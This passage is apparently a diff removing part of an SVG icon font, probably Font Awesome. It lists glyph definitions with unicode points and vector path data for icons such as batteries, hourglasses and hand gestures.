-d="M256 256v768h512v-768h-512zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
-h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
-    <glyph glyph-name="_544" unicode="&#xf244;" horiz-adv-x="2304" 
-d="M2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9h-1856q-14 0 -23 -9t-9 -23
-v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
-    <glyph glyph-name="_545" unicode="&#xf245;" horiz-adv-x="1280" 
-d="M1133 493q31 -30 14 -69q-17 -40 -59 -40h-382l201 -476q10 -25 0 -49t-34 -35l-177 -75q-25 -10 -49 0t-35 34l-191 452l-312 -312q-19 -19 -45 -19q-12 0 -24 5q-40 17 -40 59v1504q0 42 40 59q12 5 24 5q27 0 45 -19z" />
-    <glyph glyph-name="_546" unicode="&#xf246;" horiz-adv-x="1024" 
-d="M832 1408q-320 0 -320 -224v-416h128v-128h-128v-544q0 -224 320 -224h64v-128h-64q-272 0 -384 146q-112 -146 -384 -146h-64v128h64q320 0 320 224v544h-128v128h128v416q0 224 -320 224h-64v128h64q272 0 384 -146q112 146 384 146h64v-128h-64z" />
-    <glyph glyph-name="_547" unicode="&#xf247;" horiz-adv-x="2048" 
-d="M2048 1152h-128v-1024h128v-384h-384v128h-1280v-128h-384v384h128v1024h-128v384h384v-128h1280v128h384v-384zM1792 1408v-128h128v128h-128zM128 1408v-128h128v128h-128zM256 -128v128h-128v-128h128zM1664 0v128h128v1024h-128v128h-1280v-128h-128v-1024h128v-128
-h1280zM1920 -128v128h-128v-128h128zM1280 896h384v-768h-896v256h-384v768h896v-256zM512 512h640v512h-640v-512zM1536 256v512h-256v-384h-384v-128h640z" />
-    <glyph glyph-name="_548" unicode="&#xf248;" horiz-adv-x="2304" 
-d="M2304 768h-128v-640h128v-384h-384v128h-896v-128h-384v384h128v128h-384v-128h-384v384h128v640h-128v384h384v-128h896v128h384v-384h-128v-128h384v128h384v-384zM2048 1024v-128h128v128h-128zM1408 1408v-128h128v128h-128zM128 1408v-128h128v128h-128zM256 256
-v128h-128v-128h128zM1536 384h-128v-128h128v128zM384 384h896v128h128v640h-128v128h-896v-128h-128v-640h128v-128zM896 -128v128h-128v-128h128zM2176 -128v128h-128v-128h128zM2048 128v640h-128v128h-384v-384h128v-384h-384v128h-384v-128h128v-128h896v128h128z" />
-    <glyph glyph-name="_549" unicode="&#xf249;" 
-d="M1024 288v-416h-928q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1344q40 0 68 -28t28 -68v-928h-416q-40 0 -68 -28t-28 -68zM1152 256h381q-15 -82 -65 -132l-184 -184q-50 -50 -132 -65v381z" />
-    <glyph glyph-name="_550" unicode="&#xf24a;" 
-d="M1400 256h-248v-248q29 10 41 22l185 185q12 12 22 41zM1120 384h288v896h-1280v-1280h896v288q0 40 28 68t68 28zM1536 1312v-1024q0 -40 -20 -88t-48 -76l-184 -184q-28 -28 -76 -48t-88 -20h-1024q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1344q40 0 68 -28t28 -68
-z" />
-    <glyph glyph-name="_551" unicode="&#xf24b;" horiz-adv-x="2304" 
-d="M1951 538q0 -26 -15.5 -44.5t-38.5 -23.5q-8 -2 -18 -2h-153v140h153q10 0 18 -2q23 -5 38.5 -23.5t15.5 -44.5zM1933 751q0 -25 -15 -42t-38 -21q-3 -1 -15 -1h-139v129h139q3 0 8.5 -0.5t6.5 -0.5q23 -4 38 -21.5t15 -42.5zM728 587v308h-228v-308q0 -58 -38 -94.5
-t-105 -36.5q-108 0 -229 59v-112q53 -15 121 -23t109 -9l42 -1q328 0 328 217zM1442 403v113q-99 -52 -200 -59q-108 -8 -169 41t-61 142t61 142t169 41q101 -7 200 -58v112q-48 12 -100 19.5t-80 9.5l-28 2q-127 6 -218.5 -14t-140.5 -60t-71 -88t-22 -106t22 -106t71 -88
-t140.5 -60t218.5 -14q101 4 208 31zM2176 518q0 54 -43 88.5t-109 39.5v3q57 8 89 41.5t32 79.5q0 55 -41 88t-107 36q-3 0 -12 0.5t-14 0.5h-455v-510h491q74 0 121.5 36.5t47.5 96.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90
-t90 38h2048q52 0 90 -38t38 -90z" />
-    <glyph glyph-name="_552" unicode="&#xf24c;" horiz-adv-x="2304" 
-d="M858 295v693q-106 -41 -172 -135.5t-66 -211.5t66 -211.5t172 -134.5zM1362 641q0 117 -66 211.5t-172 135.5v-694q106 41 172 135.5t66 211.5zM1577 641q0 -159 -78.5 -294t-213.5 -213.5t-294 -78.5q-119 0 -227.5 46.5t-187 125t-125 187t-46.5 227.5q0 159 78.5 294
-t213.5 213.5t294 78.5t294 -78.5t213.5 -213.5t78.5 -294zM1960 634q0 139 -55.5 261.5t-147.5 205.5t-213.5 131t-252.5 48h-301q-176 0 -323.5 -81t-235 -230t-87.5 -335q0 -171 87 -317.5t236 -231.5t323 -85h301q129 0 251.5 50.5t214.5 135t147.5 202.5t55.5 246z
-M2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
-    <glyph glyph-name="_553" unicode="&#xf24d;" horiz-adv-x="1792" 
-d="M1664 -96v1088q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5v-1088q0 -13 9.5 -22.5t22.5 -9.5h1088q13 0 22.5 9.5t9.5 22.5zM1792 992v-1088q0 -66 -47 -113t-113 -47h-1088q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1088q66 0 113 -47t47 -113
-zM1408 1376v-160h-128v160q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5v-1088q0 -13 9.5 -22.5t22.5 -9.5h160v-128h-160q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1088q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="_554" unicode="&#xf24e;" horiz-adv-x="2304" 
-d="M1728 1088l-384 -704h768zM448 1088l-384 -704h768zM1269 1280q-14 -40 -45.5 -71.5t-71.5 -45.5v-1291h608q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1344q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h608v1291q-40 14 -71.5 45.5t-45.5 71.5h-491q-14 0 -23 9t-9 23v64
-q0 14 9 23t23 9h491q21 57 70 92.5t111 35.5t111 -35.5t70 -92.5h491q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-491zM1088 1264q33 0 56.5 23.5t23.5 56.5t-23.5 56.5t-56.5 23.5t-56.5 -23.5t-23.5 -56.5t23.5 -56.5t56.5 -23.5zM2176 384q0 -73 -46.5 -131t-117.5 -91
-t-144.5 -49.5t-139.5 -16.5t-139.5 16.5t-144.5 49.5t-117.5 91t-46.5 131q0 11 35 81t92 174.5t107 195.5t102 184t56 100q18 33 56 33t56 -33q4 -7 56 -100t102 -184t107 -195.5t92 -174.5t35 -81zM896 384q0 -73 -46.5 -131t-117.5 -91t-144.5 -49.5t-139.5 -16.5
-t-139.5 16.5t-144.5 49.5t-117.5 91t-46.5 131q0 11 35 81t92 174.5t107 195.5t102 184t56 100q18 33 56 33t56 -33q4 -7 56 -100t102 -184t107 -195.5t92 -174.5t35 -81z" />
-    <glyph glyph-name="_555" unicode="&#xf250;" 
-d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
-t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM874 700q77 29 149 92.5t129.5 152.5t92.5 210t35 253h-1024q0 -132 35 -253t92.5 -210t129.5 -152.5t149 -92.5q19 -7 30.5 -23.5t11.5 -36.5t-11.5 -36.5t-30.5 -23.5q-77 -29 -149 -92.5
-t-129.5 -152.5t-92.5 -210t-35 -253h1024q0 132 -35 253t-92.5 210t-129.5 152.5t-149 92.5q-19 7 -30.5 23.5t-11.5 36.5t11.5 36.5t30.5 23.5z" />
-    <glyph glyph-name="_556" unicode="&#xf251;" 
-d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
-t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM1280 1408h-1024q0 -66 9 -128h1006q9 61 9 128zM1280 -128q0 130 -34 249.5t-90.5 208t-126.5 152t-146 94.5h-230q-76 -31 -146 -94.5t-126.5 -152t-90.5 -208t-34 -249.5h1024z" />
-    <glyph glyph-name="_557" unicode="&#xf252;" 
-d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
-t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM1280 1408h-1024q0 -206 85 -384h854q85 178 85 384zM1223 192q-54 141 -145.5 241.5t-194.5 142.5h-230q-103 -42 -194.5 -142.5t-145.5 -241.5h910z" />
-    <glyph glyph-name="_558" unicode="&#xf253;" 
-d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
-t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM874 700q77 29 149 92.5t129.5 152.5t92.5 210t35 253h-1024q0 -132 35 -253t92.5 -210t129.5 -152.5t149 -92.5q19 -7 30.5 -23.5t11.5 -36.5t-11.5 -36.5t-30.5 -23.5q-137 -51 -244 -196
-h700q-107 145 -244 196q-19 7 -30.5 23.5t-11.5 36.5t11.5 36.5t30.5 23.5z" />
-    <glyph glyph-name="_559" unicode="&#xf254;" 
-d="M1504 -64q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v128q0 14 9 23t23 9h1472zM130 0q3 55 16 107t30 95t46 87t53.5 76t64.5 69.5t66 60t70.5 55t66.5 47.5t65 43q-43 28 -65 43t-66.5 47.5t-70.5 55t-66 60t-64.5 69.5t-53.5 76t-46 87
-t-30 95t-16 107h1276q-3 -55 -16 -107t-30 -95t-46 -87t-53.5 -76t-64.5 -69.5t-66 -60t-70.5 -55t-66.5 -47.5t-65 -43q43 -28 65 -43t66.5 -47.5t70.5 -55t66 -60t64.5 -69.5t53.5 -76t46 -87t30 -95t16 -107h-1276zM1504 1536q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9
-h-1472q-14 0 -23 9t-9 23v128q0 14 9 23t23 9h1472z" />
-    <glyph glyph-name="_560" unicode="&#xf255;" 
-d="M768 1152q-53 0 -90.5 -37.5t-37.5 -90.5v-128h-32v93q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-429l-32 30v172q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-224q0 -47 35 -82l310 -296q39 -39 39 -102q0 -26 19 -45t45 -19h640q26 0 45 19t19 45v25
-q0 41 10 77l108 436q10 36 10 77v246q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-32h-32v125q0 40 -25 72.5t-64 40.5q-14 2 -23 2q-46 0 -79 -33t-33 -79v-128h-32v122q0 51 -32.5 89.5t-82.5 43.5q-5 1 -13 1zM768 1280q84 0 149 -50q57 34 123 34q59 0 111 -27
-t86 -76q27 7 59 7q100 0 170 -71.5t70 -171.5v-246q0 -51 -13 -108l-109 -436q-6 -24 -6 -71q0 -80 -56 -136t-136 -56h-640q-84 0 -138 58.5t-54 142.5l-308 296q-76 73 -76 175v224q0 99 70.5 169.5t169.5 70.5q11 0 16 -1q6 95 75.5 160t164.5 65q52 0 98 -21
-q72 69 174 69z" />
-    <glyph glyph-name="_561" unicode="&#xf256;" horiz-adv-x="1792" 
-d="M880 1408q-46 0 -79 -33t-33 -79v-656h-32v528q0 46 -33 79t-79 33t-79 -33t-33 -79v-528v-256l-154 205q-38 51 -102 51q-53 0 -90.5 -37.5t-37.5 -90.5q0 -43 26 -77l384 -512q38 -51 102 -51h688q34 0 61 22t34 56l76 405q5 32 5 59v498q0 46 -33 79t-79 33t-79 -33
-t-33 -79v-272h-32v528q0 46 -33 79t-79 33t-79 -33t-33 -79v-528h-32v656q0 46 -33 79t-79 33zM880 1536q68 0 125.5 -35.5t88.5 -96.5q19 4 42 4q99 0 169.5 -70.5t70.5 -169.5v-17q105 6 180.5 -64t75.5 -175v-498q0 -40 -8 -83l-76 -404q-14 -79 -76.5 -131t-143.5 -52
-h-688q-60 0 -114.5 27.5t-90.5 74.5l-384 512q-51 68 -51 154q0 106 75 181t181 75q78 0 128 -34v434q0 99 70.5 169.5t169.5 70.5q23 0 42 -4q31 61 88.5 96.5t125.5 35.5z" />
-    <glyph glyph-name="_562" unicode="&#xf257;" horiz-adv-x="1792" 
-d="M1073 -128h-177q-163 0 -226 141q-23 49 -23 102v5q-62 30 -98.5 88.5t-36.5 127.5q0 38 5 48h-261q-106 0 -181 75t-75 181t75 181t181 75h113l-44 17q-74 28 -119.5 93.5t-45.5 145.5q0 106 75 181t181 75q46 0 91 -17l628 -239h401q106 0 181 -75t75 -181v-668
-q0 -88 -54 -157.5t-140 -90.5l-339 -85q-92 -23 -186 -23zM1024 583l-155 -71l-163 -74q-30 -14 -48 -41.5t-18 -60.5q0 -46 33 -79t79 -33q26 0 46 10l338 154q-49 10 -80.5 50t-31.5 90v55zM1344 272q0 46 -33 79t-79 33q-26 0 -46 -10l-290 -132q-28 -13 -37 -17
-t-30.5 -17t-29.5 -23.5t-16 -29t-8 -40.5q0 -50 31.5 -82t81.5 -32q20 0 38 9l352 160q30 14 48 41.5t18 60.5zM1112 1024l-650 248q-24 8 -46 8q-53 0 -90.5 -37.5t-37.5 -90.5q0 -40 22.5 -73t59.5 -47l526 -200v-64h-640q-53 0 -90.5 -37.5t-37.5 -90.5t37.5 -90.5
-t90.5 -37.5h535l233 106v198q0 63 46 106l111 102h-69zM1073 0q82 0 155 19l339 85q43 11 70 45.5t27 78.5v668q0 53 -37.5 90.5t-90.5 37.5h-308l-136 -126q-36 -33 -36 -82v-296q0 -46 33 -77t79 -31t79 35t33 81v208h32v-208q0 -70 -57 -114q52 -8 86.5 -48.5t34.5 -93.5
-q0 -42 -23 -78t-61 -53l-310 -141h91z" />
-    <glyph glyph-name="_563" unicode="&#xf258;" horiz-adv-x="2048" 
-d="M1151 1536q61 0 116 -28t91 -77l572 -781q118 -159 118 -359v-355q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v177l-286 143h-546q-80 0 -136 56t-56 136v32q0 119 84.5 203.5t203.5 84.5h420l42 128h-686q-100 0 -173.5 67.5t-81.5 166.5q-65 79 -65 182v32
-q0 80 56 136t136 56h959zM1920 -64v355q0 157 -93 284l-573 781q-39 52 -103 52h-959q-26 0 -45 -19t-19 -45q0 -32 1.5 -49.5t9.5 -40.5t25 -43q10 31 35.5 50t56.5 19h832v-32h-832q-26 0 -45 -19t-19 -45q0 -44 3 -58q8 -44 44 -73t81 -29h640h91q40 0 68 -28t28 -68
-q0 -15 -5 -30l-64 -192q-10 -29 -35 -47.5t-56 -18.5h-443q-66 0 -113 -47t-47 -113v-32q0 -26 19 -45t45 -19h561q16 0 29 -7l317 -158q24 -13 38.5 -36t14.5 -50v-197q0 -26 19 -45t45 -19h384q26 0 45 19t19 45z" />
-    <glyph glyph-name="_564" unicode="&#xf259;" horiz-adv-x="2048" 
-d="M459 -256q-77 0 -137.5 47.5t-79.5 122.5l-101 401q-13 57 -13 108q0 45 -5 67l-116 477q-7 27 -7 57q0 93 62 161t155 78q17 85 82.5 139t152.5 54q83 0 148 -51.5t85 -132.5l83 -348l103 428q20 81 85 132.5t148 51.5q89 0 155.5 -57.5t80.5 -144.5q92 -10 152 -79
-t60 -162q0 -24 -7 -59l-123 -512q10 7 37.5 28.5t38.5 29.5t35 23t41 20.5t41.5 11t49.5 5.5q105 0 180 -74t75 -179q0 -62 -28.5 -118t-78.5 -94l-507 -380q-68 -51 -153 -51h-694zM1104 1408q-38 0 -68.5 -24t-39.5 -62l-164 -682h-127l-145 602q-9 38 -39.5 62t-68.5 24
-q-48 0 -80 -33t-32 -80q0 -15 3 -28l132 -547h-26l-99 408q-9 37 -40 62.5t-69 25.5q-47 0 -80 -33t-33 -79q0 -14 3 -26l116 -478q7 -28 9 -86t10 -88l100 -401q8 -32 34 -52.5t59 -20.5h694q42 0 76 26l507 379q56 43 56 110q0 52 -37.5 88.5t-89.5 36.5q-43 0 -77 -26
-l-307 -230v227q0 4 32 138t68 282t39 161q4 18 4 29q0 47 -32 81t-79 34q-39 0 -69.5 -24t-39.5 -62l-116 -482h-26l150 624q3 14 3 28q0 48 -31.5 82t-79.5 34z" />
-    <glyph glyph-name="_565" unicode="&#xf25a;" horiz-adv-x="1792" 
-d="M640 1408q-53 0 -90.5 -37.5t-37.5 -90.5v-512v-384l-151 202q-41 54 -107 54q-52 0 -89 -38t-37 -90q0 -43 26 -77l384 -512q38 -51 102 -51h718q22 0 39.5 13.5t22.5 34.5l92 368q24 96 24 194v217q0 41 -28 71t-68 30t-68 -28t-28 -68h-32v61q0 48 -32 81.5t-80 33.5
-q-46 0 -79 -33t-33 -79v-64h-32v90q0 55 -37 94.5t-91 39.5q-53 0 -90.5 -37.5t-37.5 -90.5v-96h-32v570q0 55 -37 94.5t-91 39.5zM640 1536q107 0 181.5 -77.5t74.5 -184.5v-220q22 2 32 2q99 0 173 -69q47 21 99 21q113 0 184 -87q27 7 56 7q94 0 159 -67.5t65 -161.5
-v-217q0 -116 -28 -225l-92 -368q-16 -64 -68 -104.5t-118 -40.5h-718q-60 0 -114.5 27.5t-90.5 74.5l-384 512q-51 68 -51 154q0 105 74.5 180.5t179.5 75.5q71 0 130 -35v547q0 106 75 181t181 75zM768 128v384h-32v-384h32zM1024 128v384h-32v-384h32zM1280 128v384h-32
-v-384h32z" />
-    <glyph glyph-name="_566" unicode="&#xf25b;" 
-d="M1288 889q60 0 107 -23q141 -63 141 -226v-177q0 -94 -23 -186l-85 -339q-21 -86 -90.5 -140t-157.5 -54h-668q-106 0 -181 75t-75 181v401l-239 628q-17 45 -17 91q0 106 75 181t181 75q80 0 145.5 -45.5t93.5 -119.5l17 -44v113q0 106 75 181t181 75t181 -75t75 -181
-v-261q27 5 48 5q69 0 127.5 -36.5t88.5 -98.5zM1072 896q-33 0 -60.5 -18t-41.5 -48l-74 -163l-71 -155h55q50 0 90 -31.5t50 -80.5l154 338q10 20 10 46q0 46 -33 79t-79 33zM1293 761q-22 0 -40.5 -8t-29 -16t-23.5 -29.5t-17 -30.5t-17 -37l-132 -290q-10 -20 -10 -46
-q0 -46 33 -79t79 -33q33 0 60.5 18t41.5 48l160 352q9 18 9 38q0 50 -32 81.5t-82 31.5zM128 1120q0 -22 8 -46l248 -650v-69l102 111q43 46 106 46h198l106 233v535q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5v-640h-64l-200 526q-14 37 -47 59.5t-73 22.5
-q-53 0 -90.5 -37.5t-37.5 -90.5zM1180 -128q44 0 78.5 27t45.5 70l85 339q19 73 19 155v91l-141 -310q-17 -38 -53 -61t-78 -23q-53 0 -93.5 34.5t-48.5 86.5q-44 -57 -114 -57h-208v32h208q46 0 81 33t35 79t-31 79t-77 33h-296q-49 0 -82 -36l-126 -136v-308
-q0 -53 37.5 -90.5t90.5 -37.5h668z" />
-    <glyph glyph-name="_567" unicode="&#xf25c;" horiz-adv-x="1973" 
-d="M857 992v-117q0 -13 -9.5 -22t-22.5 -9h-298v-812q0 -13 -9 -22.5t-22 -9.5h-135q-13 0 -22.5 9t-9.5 23v812h-297q-13 0 -22.5 9t-9.5 22v117q0 14 9 23t23 9h793q13 0 22.5 -9.5t9.5 -22.5zM1895 995l77 -961q1 -13 -8 -24q-10 -10 -23 -10h-134q-12 0 -21 8.5
-t-10 20.5l-46 588l-189 -425q-8 -19 -29 -19h-120q-20 0 -29 19l-188 427l-45 -590q-1 -12 -10 -20.5t-21 -8.5h-135q-13 0 -23 10q-9 10 -9 24l78 961q1 12 10 20.5t21 8.5h142q20 0 29 -19l220 -520q10 -24 20 -51q3 7 9.5 24.5t10.5 26.5l221 520q9 19 29 19h141
-q13 0 22 -8.5t10 -20.5z" />
-    <glyph glyph-name="_568" unicode="&#xf25d;" horiz-adv-x="1792" 
-d="M1042 833q0 88 -60 121q-33 18 -117 18h-123v-281h162q66 0 102 37t36 105zM1094 548l205 -373q8 -17 -1 -31q-8 -16 -27 -16h-152q-20 0 -28 17l-194 365h-155v-350q0 -14 -9 -23t-23 -9h-134q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h294q128 0 190 -24q85 -31 134 -109
-t49 -180q0 -92 -42.5 -165.5t-115.5 -109.5q6 -10 9 -16zM896 1376q-150 0 -286 -58.5t-234.5 -157t-157 -234.5t-58.5 -286t58.5 -286t157 -234.5t234.5 -157t286 -58.5t286 58.5t234.5 157t157 234.5t58.5 286t-58.5 286t-157 234.5t-234.5 157t-286 58.5zM1792 640
-q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
-    <glyph glyph-name="_569" unicode="&#xf25e;" horiz-adv-x="1792" 
-d="M605 303q153 0 257 104q14 18 3 36l-45 82q-6 13 -24 17q-16 2 -27 -11l-4 -3q-4 -4 -11.5 -10t-17.5 -13.5t-23.5 -14.5t-28.5 -13t-33.5 -9.5t-37.5 -3.5q-76 0 -125 50t-49 127q0 76 48 125.5t122 49.5q37 0 71.5 -14t50.5 -28l16 -14q11 -11 26 -10q16 2 24 14l53 78
-q13 20 -2 39q-3 4 -11 12t-30 23.5t-48.5 28t-67.5 22.5t-86 10q-148 0 -246 -96.5t-98 -240.5q0 -146 97 -241.5t247 -95.5zM1235 303q153 0 257 104q14 18 4 36l-45 82q-8 14 -25 17q-16 2 -27 -11l-4 -3q-4 -4 -11.5 -10t-17.5 -13.5t-23.5 -14.5t-28.5 -13t-33.5 -9.5
-t-37.5 -3.5q-76 0 -125 50t-49 127q0 76 48 125.5t122 49.5q37 0 71.5 -14t50.5 -28l16 -14q11 -11 26 -10q16 2 24 14l53 78q13 20 -2 39q-3 4 -11 12t-30 23.5t-48.5 28t-67.5 22.5t-86 10q-147 0 -245.5 -96.5t-98.5 -240.5q0 -146 97 -241.5t247 -95.5zM896 1376
-q-150 0 -286 -58.5t-234.5 -157t-157 -234.5t-58.5 -286t58.5 -286t157 -234.5t234.5 -157t286 -58.5t286 58.5t234.5 157t157 234.5t58.5 286t-58.5 286t-157 234.5t-234.5 157t-286 58.5zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191
-t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71z" />
-    <glyph glyph-name="f260" unicode="&#xf260;" horiz-adv-x="2048" 
-d="M736 736l384 -384l-384 -384l-672 672l672 672l168 -168l-96 -96l-72 72l-480 -480l480 -480l193 193l-289 287zM1312 1312l672 -672l-672 -672l-168 168l96 96l72 -72l480 480l-480 480l-193 -193l289 -287l-96 -96l-384 384z" />
-    <glyph glyph-name="f261" unicode="&#xf261;" horiz-adv-x="1792" 
-d="M717 182l271 271l-279 279l-88 -88l192 -191l-96 -96l-279 279l279 279l40 -40l87 87l-127 128l-454 -454zM1075 190l454 454l-454 454l-271 -271l279 -279l88 88l-192 191l96 96l279 -279l-279 -279l-40 40l-87 -88zM1792 640q0 -182 -71 -348t-191 -286t-286 -191
-t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
-    <glyph glyph-name="_572" unicode="&#xf262;" horiz-adv-x="2304" 
-d="M651 539q0 -39 -27.5 -66.5t-65.5 -27.5q-39 0 -66.5 27.5t-27.5 66.5q0 38 27.5 65.5t66.5 27.5q38 0 65.5 -27.5t27.5 -65.5zM1805 540q0 -39 -27.5 -66.5t-66.5 -27.5t-66.5 27.5t-27.5 66.5t27.5 66t66.5 27t66.5 -27t27.5 -66zM765 539q0 79 -56.5 136t-136.5 57
-t-136.5 -56.5t-56.5 -136.5t56.5 -136.5t136.5 -56.5t136.5 56.5t56.5 136.5zM1918 540q0 80 -56.5 136.5t-136.5 56.5q-79 0 -136 -56.5t-57 -136.5t56.5 -136.5t136.5 -56.5t136.5 56.5t56.5 136.5zM850 539q0 -116 -81.5 -197.5t-196.5 -81.5q-116 0 -197.5 82t-81.5 197
-t82 196.5t197 81.5t196.5 -81.5t81.5 -196.5zM2004 540q0 -115 -81.5 -196.5t-197.5 -81.5q-115 0 -196.5 81.5t-81.5 196.5t81.5 196.5t196.5 81.5q116 0 197.5 -81.5t81.5 -196.5zM1040 537q0 191 -135.5 326.5t-326.5 135.5q-125 0 -231 -62t-168 -168.5t-62 -231.5
-t62 -231.5t168 -168.5t231 -62q191 0 326.5 135.5t135.5 326.5zM1708 1110q-254 111 -556 111q-319 0 -573 -110q117 0 223 -45.5t182.5 -122.5t122 -183t45.5 -223q0 115 43.5 219.5t118 180.5t177.5 123t217 50zM2187 537q0 191 -135 326.5t-326 135.5t-326.5 -135.5
-t-135.5 -326.5t135.5 -326.5t326.5 -135.5t326 135.5t135 326.5zM1921 1103h383q-44 -51 -75 -114.5t-40 -114.5q110 -151 110 -337q0 -156 -77 -288t-209 -208.5t-287 -76.5q-133 0 -249 56t-196 155q-47 -56 -129 -179q-11 22 -53.5 82.5t-74.5 97.5
-q-80 -99 -196.5 -155.5t-249.5 -56.5q-155 0 -287 76.5t-209 208.5t-77 288q0 186 110 337q-9 51 -40 114.5t-75 114.5h365q149 100 355 156.5t432 56.5q224 0 421 -56t348 -157z" />
-    <glyph glyph-name="f263" unicode="&#xf263;" horiz-adv-x="1280" 
-d="M640 629q-188 0 -321 133t-133 320q0 188 133 321t321 133t321 -133t133 -321q0 -187 -133 -320t-321 -133zM640 1306q-92 0 -157.5 -65.5t-65.5 -158.5q0 -92 65.5 -157.5t157.5 -65.5t157.5 65.5t65.5 157.5q0 93 -65.5 158.5t-157.5 65.5zM1163 574q13 -27 15 -49.5
-t-4.5 -40.5t-26.5 -38.5t-42.5 -37t-61.5 -41.5q-115 -73 -315 -94l73 -72l267 -267q30 -31 30 -74t-30 -73l-12 -13q-31 -30 -74 -30t-74 30q-67 68 -267 268l-267 -268q-31 -30 -74 -30t-73 30l-12 13q-31 30 -31 73t31 74l267 267l72 72q-203 21 -317 94
-q-39 25 -61.5 41.5t-42.5 37t-26.5 38.5t-4.5 40.5t15 49.5q10 20 28 35t42 22t56 -2t65 -35q5 -4 15 -11t43 -24.5t69 -30.5t92 -24t113 -11q91 0 174 25.5t120 50.5l38 25q33 26 65 35t56 2t42 -22t28 -35z" />
-    <glyph glyph-name="_574" unicode="&#xf264;" 
-d="M927 956q0 -66 -46.5 -112.5t-112.5 -46.5t-112.5 46.5t-46.5 112.5t46.5 112.5t112.5 46.5t112.5 -46.5t46.5 -112.5zM1141 593q-10 20 -28 32t-47.5 9.5t-60.5 -27.5q-10 -8 -29 -20t-81 -32t-127 -20t-124 18t-86 36l-27 18q-31 25 -60.5 27.5t-47.5 -9.5t-28 -32
-q-22 -45 -2 -74.5t87 -73.5q83 -53 226 -67l-51 -52q-142 -142 -191 -190q-22 -22 -22 -52.5t22 -52.5l9 -9q22 -22 52.5 -22t52.5 22l191 191q114 -115 191 -191q22 -22 52.5 -22t52.5 22l9 9q22 22 22 52.5t-22 52.5l-191 190l-52 52q141 14 225 67q67 44 87 73.5t-2 74.5
-zM1092 956q0 134 -95 229t-229 95t-229 -95t-95 -229t95 -229t229 -95t229 95t95 229zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
